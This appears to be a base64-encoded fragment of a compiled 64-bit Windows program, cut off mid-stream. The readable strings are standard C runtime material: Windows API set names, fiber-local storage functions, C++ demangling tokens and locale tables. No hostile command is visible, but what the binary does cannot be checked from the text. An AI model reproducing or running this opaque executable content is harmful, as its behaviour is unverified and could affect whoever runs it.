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vAAAAJQAAADwAAAA8PQAAPgAAAD49AAAsAAAAKCkAAH4AAABeAAAAfAAAACYmAAB8fAAAKj0AACs9AAAtPQAALz0AACU9AAA+Pj0APDw9ACY9AAB8PQAAXj0AAGB2ZnRhYmxlJwAAAAAAAABgdmJ0YWJsZScAAAAAAAAAYHZjYWxsJwBgdHlwZW9mJwAAAAAAAAAAYGxvY2FsIHN0YXRpYyBndWFyZCcAAAAAYHN0cmluZycAAAAAAAAAAGB2YmFzZSBkZXN0cnVjdG9yJwAAAAAAAGB2ZWN0b3IgZGVsZXRpbmcgZGVzdHJ1Y3RvcicAAAAAYGRlZmF1bHQgY29uc3RydWN0b3IgY2xvc3VyZScAAABgc2NhbGFyIGRlbGV0aW5nIGRlc3RydWN0b3InAAAAAGB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgdmVjdG9yIHZiYXNlIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAYHZpcnR1YWwgZGlzcGxhY2VtZW50IG1hcCcAAAAAAABgZWggdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAAAAAYGVoIHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwBgZWggdmVjdG9yIHZiYXNlIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAYGNvcHkgY29uc3RydWN0b3IgY2xvc3VyZScAAAAAAABgdWR0IHJldHVybmluZycAYEVIAGBSVFRJAAAAAAAAAGBsb2NhbCB2ZnRhYmxlJwBgbG9jYWwgdmZ0YWJsZSBjb25zdHJ1Y3RvciBjbG9zdXJlJwAgbmV3W10AAAAAAAAgZGVsZXRlW10AAAAAAAAAYG9tbmkgY2FsbHNpZycAAGBwbGFjZW1lbnQgZGVsZXRlIGNsb3N1cmUnAAAAAAAAYHBsYWNlbWVudCBkZWxldGVbXSBjbG9zdXJlJwAAAABgbWFuYWdlZCB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYG1hbmFnZWQgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGBlaCB2ZWN0b3IgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAB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xAC0AMQAAAAAAAAAAAAAAYQBwAGkALQBtAHMALQB3AGkAbgAtAGMAbwByAGUALQBsAG8AYwBhAGwAaQB6AGEAdABpAG8AbgAtAGwAMQAtADIALQAxAAAAAAAAAAAAAABhAHAAaQAtAG0AcwAtAHcAaQBuAC0AYwBvAHIAZQAtAGwAbwBjAGEAbABpAHoAYQB0AGkAbwBuAC0AbwBiAHMAbwBsAGUAdABlAC0AbAAxAC0AMgAtADAAAAAAAAAAAABhAHAAaQAtAG0AcwAtAHcAaQBuAC0AYwBvAHIAZQAtAHAAcgBvAGMAZQBzAHMAdABoAHIAZQBhAGQAcwAtAGwAMQAtADEALQAyAAAAAAAAAGEAcABpAC0AbQBzAC0AdwBpAG4ALQBjAG8AcgBlAC0AcwB0AHIAaQBuAGcALQBsADEALQAxAC0AMAAAAAAAAABhAHAAaQAtAG0AcwAtAHcAaQBuAC0AYwBvAHIAZQAtAHMAeQBzAGkAbgBmAG8ALQBsADEALQAyAC0AMQAAAAAAYQBwAGkALQBtAHMALQB3AGkAbgAtAGMAbwByAGUALQB3AGkAbgByAHQALQBsADEALQAxAC0AMAAAAAAAAAAAAGEAcABpAC0AbQBzAC0AdwBpAG4ALQBjAG8AcgBlAC0AeABzAHQAYQB0AGUALQBsADIALQAxAC0AMAAAAAAAAABhAHAAaQAtAG0AcwAtAHcAaQBuAC0AcgB0AGMAbwByAGUALQBuAHQAdQBzAGUAcgAtAHcAaQBuAGQAbwB3AC0AbAAxAC0AMQAtADAAAAAAAGEAcABpAC0AbQBzAC0AdwBpAG4ALQBzAGUAYwB1AHIAaQB0AHkALQBzAHkAcwB0AGUAbQBmAHUAbgBjAHQAaQBvAG4AcwAtAGwAMQAtADEALQAwAAAAAAAAAAAAAAAAAGUAeAB0AC0AbQBzAC0AdwBpAG4ALQBrAGUAcgBuAGUAbAAzADIALQBwAGEAYwBrAGEAZwBlAC0AYwB1AHIAcgBlAG4AdAAtAGwAMQAtADEALQAwAAAAAAAAAAAAAAAAAGUAeAB0AC0AbQBzAC0AdwBpAG4ALQBuAHQAdQBzAGUAcgAtAGQAaQBhAGwAbwBnAGIAbwB4AC0AbAAxAC0AMQAtADAAAAAAAAAAAAAAAAAAZQB4AHQALQBtAHMALQB3AGkAbgAtAG4AdAB1AHMAZQByAC0AdwBpAG4AZABvAHcAcwB0AGEAdABpAG8AbgAtAGwAMQAtADEALQAwAAAAAAB1AHMAZQByADMAMgAAAAAABwAAABIAAABDb21wYXJlU3RyaW5nRXgAAgAAABIAAAACAAAAEgAAAAIAAAASAAAAAgAAABIAAAAAAAAADgAAAEdldEN1cnJlbnRQYWNrYWdlSWQAAAAAAAgAAAASAAAABAAAABIAAABMQ01hcFN0cmluZ0V4AAAABAAAABIAAABMb2NhbGVOYW1lVG9MQ0lEAAAAAElORgBpbmYATkFOAG5hbgAAAAAATkFOKFNOQU4pAAAAAAAAAG5hbihzbmFuKQAAAAAAAABOQU4oSU5EKQAAAAAAAAAAbmFuKGluZCkAAAAAZSswMDAAAAAAAAAA0FoBQAEAAADUWgFAAQAAANhaAUABAAAA3FoBQAEAAADgWgFAAQAAAORaAUABAAAA6FoBQAEAAADsWgFAAQAAAPRaAUABAAAAAFsBQAEAAAAIWwFAAQAAABhbAUABAAAAJFsBQAEAAAAwWwFAAQAAADxbAUABAAAAQFsBQAEAAABEWwFAAQAAAEhbAUABAAAATFsBQAEAAABQWwFAAQAAAFRbAUABAAAAWFsBQAEAAABcWwFAAQAAAGBbAUABAAAAZFsBQAEAAABoWwFAAQAAAHBbAUABAAAAeFsBQAEAAACEWwFAAQAAAIxbAUABAAAATFsBQAEAAACUWwFAAQAAAJxbAUABAAAApFsBQAEAAACwWwFAAQAAAMBbAUABAAAAyFsBQAEAAADYWwFAAQAAAORbAUABAAAA6FsBQAEAAADwWwFAAQAAAABcAUABAAAAGFwBQAEAAAABAAAAAAAAAChcAUABAAAAMFwBQAEAAAA4XAFAAQAAAEBcAUABAAAASFwBQAEAAABQXAFAAQAAAFhcAUABAAAAYFwBQAEAAABwXAFAAQAAAIBcAUABAAAAkFwBQAEAAACoXAFAAQAAAMBcAUABAAAA0FwBQAEAAADoXAFAAQAAAPBcAUABAAAA+FwBQAEAAAAAXQFAAQAAAAhdAUABAAAAEF0BQAEAAAAYXQFAAQAAACBdAUABAAAAKF0BQAEAAAAwXQFAAQAAADhdAUABAAAAQF0BQAEAAABIXQFAAQAAAFhdAUABAAAAcF0BQAEAAACAXQFAAQAAAAhdAUABAAAAkF0BQAEAAACgXQFAAQAAALBdAUABAAAAwF0BQAEAAADYXQFAAQAAAOhdAUABAAAAAF4BQAEAAAAUXgFAAQAAA